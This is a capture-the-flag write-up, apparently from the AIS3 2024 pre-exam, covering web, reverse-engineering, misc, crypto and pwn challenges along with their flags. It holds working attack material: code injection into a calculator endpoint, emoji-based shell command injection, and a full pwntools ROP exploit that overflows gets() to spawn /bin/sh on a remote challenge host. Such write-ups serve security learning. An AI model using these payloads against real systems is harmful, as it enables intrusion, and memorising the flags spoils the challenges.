## AIS3 2024 pre-exam ## leaderbroad ### Best score (#39) ![image](https://hackmd.io/_uploads/SJiiEb-4R.png) ### final score (#65) ![image](https://hackmd.io/_uploads/r1H32abEA.png) ## web 查看原始碼,發現可能有command injection漏洞 ![image](https://hackmd.io/_uploads/rJfCjCRXA.png) 已知flag的位置,我們使用python的open()就可以讀檔案,payload如下: ```python POST /calculate HTTP/1.1 Host: 127.0.0.1:5000 Content-Length: 87 sec-ch-ua: "Not-A.Brand";v="99", "Chromium";v="124" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36 Content-Type: application/json Accept: */* Origin: http://127.0.0.1:5000 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: http://127.0.0.1:5000/ Accept-Encoding: gzip, deflate, br Accept-Language: zh-TW,zh;q=0.9,en-US;q=0.8,en;q=0.7 Connection: close {"expression":"open('../flag', 'r').read()"} ``` flag ``` AIS3{7RiANG13_5NAK3_I5_50_3Vi1} ``` ## rev ## The Long Print 查看原始碼可以發現有一個sleep() ![image](https://hackmd.io/_uploads/HyDySVyNR.png) 用ghidra將sleep的值改成0x1試試 ![image](https://hackmd.io/_uploads/rya_SEJ4R.png) 並把結果輸出成一個執行檔,並執行,就會慢慢印出flag了 ![image](https://hackmd.io/_uploads/HJHIBNkN0.png) flag ``` AIS3{You_are_the_master_of_time_management!!!!?} ``` ## 艾斯[未在時間內解出] 跟上一題一樣,把程式裡的sleep時間改短 看了程式後,發現程式會把輸入的值跟STACK上的值做XOR, ![image](https://hackmd.io/_uploads/B1Iv5YxV0.png) 我們可以查看STACK上的值就可以知道他是跟什麼值做XOR 發現`xorstring()`會把輸入的字串拆成一個個字元,再將每一個轉成16禁制後做XOR ![image](https://hackmd.io/_uploads/Syo9VzZEA.png) 我們發現程式會將XOR過後的字串一個一個丟進去做,而且XOR過後的字元ACSII值必須在64-90之間 ![image](https://hackmd.io/_uploads/SJ1ABzbVC.png) ``` print(hex(0x4b4838434a523341 ^ 0xe0d7d060f177604 )) print(hex(0x2b465d3a2a552457 ^ 0x6d001b7c6c136211 )) print(hex(0x5939415440214936 ^ 0x1e7e061307660e71 )) print(hex(0x5f5c5538312f3c7b ^ 0x17141d7079677433 )) #OL<GNV7E 0x4f4c3c474e563745 ^ 0x4141414141414141 => 0xe0d7d060f177604 #/BY>.Q S 0x2f42593e2e512053 ^ 0x4242424242424242 => 0x6d001b7c6c136211 #]=EPD%M2 0x5d3d455044254d32 ^ 0x4343434343434343 => 0x1e7e061307660e71 #SPY4=#0w 0x535059343d233077 ^ 0x4444444444444444 => 0x17141d7079677433 # E: KH8CJR3A 0x4b4838434a523341 # F: +F]:*U$W 0x2b465d3a2a552457 # G: Y9AT@!I6 0x5939415440214936 # H: _\U81/<{ 0x5f5c5538312f3c7b ``` # misc ## Quantum Nim Heist nc進入遊戲 ![image](https://hackmd.io/_uploads/H1pRqEk4A.png) 測試幾次發現,如果輸入要拿取的石頭數量為不合理的,程式會告訴你答案不合理,但是AI還是執行一次拿取的動作 ![image](https://hackmd.io/_uploads/SkNfnVy4R.png) 一直重複以上動作,讓AI自己拿石頭,直到剩下最後一顆時再換我們拿,我們就勝利了 ![image](https://hackmd.io/_uploads/H1PL2EJVR.png) flag ``` AIS3{Ar3_y0u_a_N1m_ma57er_0r_a_Crypt0_ma57er?} ``` ## Three Dimensional Secret 觀察wireshark的封包內容,疑似跟某台機器溝通,並送出許多類似座標的值 ``` ;FLAVOR:Marlin ;TIME:788 ;Filament used: 8.45726m ;Layer height: 10 ;MINX:58.496 ;MINY:58.537 ;MINZ:10 ;MAXX:241.742 ;MAXY:241.259 ;MAXZ:10 ;TARGET_MACHINE.NAME:Creality Ender-3 Max ;Generated with Cura_SteamEngine 5.6.0 M140 S60 M105 M190 S60 M104 S200 M105 M109 S200 M82 ;absolute extrusion mode ; Ender 3 Max Custom Start G-code G92 E0 ; Reset Extruder G28 ; Home all axes G1 Z2.0 F3000 ; Move Z Axis up little to prevent scratching of Heat Bed G1 X0.1 Y20 Z0.3 F5000.0 ; Move to start position G1 X0.1 Y200.0 Z0.3 F1500.0 E15 ; Draw the first line G1 X0.4 Y200.0 Z0.3 F5000.0 ; Move to side a little G1 X0.4 Y20 Z0.3 F1500.0 E30 ; Draw the second line ``` 查了一下後發現他的語言用的是`Gcode`,於是用python將所有wireshark封包中的資料寫進一個檔案 ```python import pyshark import codecs capture = pyshark.FileCapture('capture.pcapng') #, display_filter="TCP" f = open("stl.txt", "w") for packet in capture: if 'Data' in packet: result_string = codecs.decode(packet['Data'].Data, 'hex').decode('utf-8') f.write(result_string) capture.close() f.close() ``` 最後將檔案裡面的內容丟到線上的Gcode模擬器,flag就出來了 https://nraynaud.github.io/webgcode/ ![image](https://hackmd.io/_uploads/HJrG5d14C.png) flag ``` AIS3{b4d1y_tun3d_PriN73r} ``` ## Emoji Console 我們先使用 `cat *`,會印出app.py的內容,並且我們知道有個目錄叫做/flag ``` #!/usr/local/bin/python3 import os from flask import Flask,send_file,request,redirect,jsonify,render_template ....... }cat: flag: Is a directory cat: templates: Is a directory ``` 我假設我們要cd到flag目錄,在使用`cat *`把所有內容印出,所以我們需要用到`;` 題目中含有`;`的表情符號為😜 `"😜": ";P"`,但是這樣terminal會報錯 ``` 💿 🚩 😜 /bin/sh: 1: p: not found ``` 找了一下發現含有有`|` 符號的表情符號 😐 `"😐": ":|"` `|` 的條件為 左邊的指令執行失敗,才會執行右邊的指令,剛好可以略過上述指令執行的問題 因此我們試了以下payload ``` 💿 🚩 😜 😐 🐱 ⭐ ``` 終端機的內容: ``` #flag-printer.py print(open('/flag','r').read()) ``` 目錄裡面有一個python檔,而剛好有一個表情符號為 🐍 `"🐍": "python"` ,因此我們可以執行python檔,payload輸入後就拿到flag了 payload ``` 💿 🚩 😜 😐 🐍 ⭐ ``` flag ``` AIS3{🫵🪡🉐🤙🤙🤙👉👉🚩👈👈} ``` # crpyto ## babyRSA 看了一下程式發現程式是一個一個字元去做加密的 而使用ord()代表字元的範圍在ASCII table內 ![image](https://hackmd.io/_uploads/B1gV9dhlE0.png) 我們只要把ACSII table的所有值使用題目給的public key加密後,在去配對他在 `Encrypted` 裡面的位置,並將該文字記下,就可以知道原先加密的內容是甚麼了 ```python= Encrypted = [.......] Public = (..... , .....) def encrypt(pk, char): key, n = pk cipher = pow(ord(char), key, n) return cipher string = "" lis = list(range(68)) for i in range(0,127): print(chr(i)) for j in range(0,67): encrypted_msg = encrypt(Public, chr(i)) if(Encrypted[j] == encrypted_msg): string += chr(i) lis[j] = chr(i) print(string) print(lis) s = ''.join(str(x) for x in lis) print(s) ``` output ``` @)!,*^=AIS3{NeverUseTheCryptographyLibraryImplementedYourSelf}-=1#&67 ``` flag ``` AIS3{NeverUseTheCryptographyLibraryImplementedYourSelf} ``` # Pwn ## Mathter 試了一下,發現在計算機輸入`q`會詢問是否退出,如果輸入不為`Y,y`的話則繼續執行程式 ![image](https://hackmd.io/_uploads/By7hxb-4A.png) 從ida查看原始碼,發現剛剛輸入的動作是在`goodbye()`處理的而且用的是gets(),有BOF漏洞 padding為 4 + 8(rbp) = 12 ![image](https://hackmd.io/_uploads/BkNbZbZ4C.png) checksec 結果 ![image](https://hackmd.io/_uploads/ryt4-Z-NR.png) 由於`NO PIE`,可以嘗試用ROP去攻擊,用`ROPgadget`搜尋發現沒有`/bin/sh`,只能自己寫上去 ![image](https://hackmd.io/_uploads/S1iMfbb4R.png) 看由於程式都沒有動到`heap`,於是我決定將`/bin/sh`寫到`heap`上,再使用暫存器去存取 用`ROPgadget`搜尋到了以下的gadget ``` pop_rdi = 0x402540 pop_rsi = 0x4126a3 pop_rax = 0x42e3a7 pop_rax_rdx_rbx = 0x47b916 mov_qword_rsi_rax = 0x42f981 syscall = 0x4013ea ret = 0x401016 heap = 0x4bf000 ``` payload 如下 ```python rop_chain = flat([pop_rax, b'/bin/sh\0', pop_rsi, heap, mov_qword_rsi_rax]) rop_chain += flat([pop_rax_rdx_rbx, 0x3b, 0, 0, pop_rdi, heap, pop_rsi, 0, syscall]) ``` payload解釋 1. 先將`'/bin/sh\0'`存至 `rax` 2. 將heap的位址存至 `rsi` 3. 透過`mov qword ptr [rsi], rax ; ret`,將rax的內容寫入rsi存的地址,也就是heap 有了`/bin/sh\0`位置後,剩下就好搞定了 ```python= from pwn import * context.arch = 'amd64' #nc chals1.ais3.org 50001 #p = process('./mathter') p = remote('chals1.ais3.org',50001) p.sendline(b'q') pop_rdi = 0x402540 pop_rsi = 0x4126a3 pop_rax = 0x42e3a7 pop_rax_rdx_rbx = 0x47b916 mov_qword_rsi_rax = 0x42f981 syscall = 0x4013ea ret = 0x401016 heap = 0x4bf000 #rdx = 0 #rsi = 0 #mov_qword_rdx_rax = 0x419700 #0x000000000048ad91 : mov dword ptr [rax], edx ; ret #0x000000000042f981 : mov qword ptr [rsi], rax ; ret #0x000000000042e3a7 : pop rax ; ret rop_chain = flat([pop_rax, b'/bin/sh\0', pop_rsi, heap, mov_qword_rsi_rax]) rop_chain += flat([pop_rax_rdx_rbx, 0x3b, 0, 0, pop_rdi, heap, pop_rsi, 0, syscall]) raw_input(">") p.sendline(b'y'*12 + rop_chain) p.interactive() ``` flag ``` AIS3{0mg_k4zm4_mu57_b3_k1dd1ng_m3_2e89c9} ```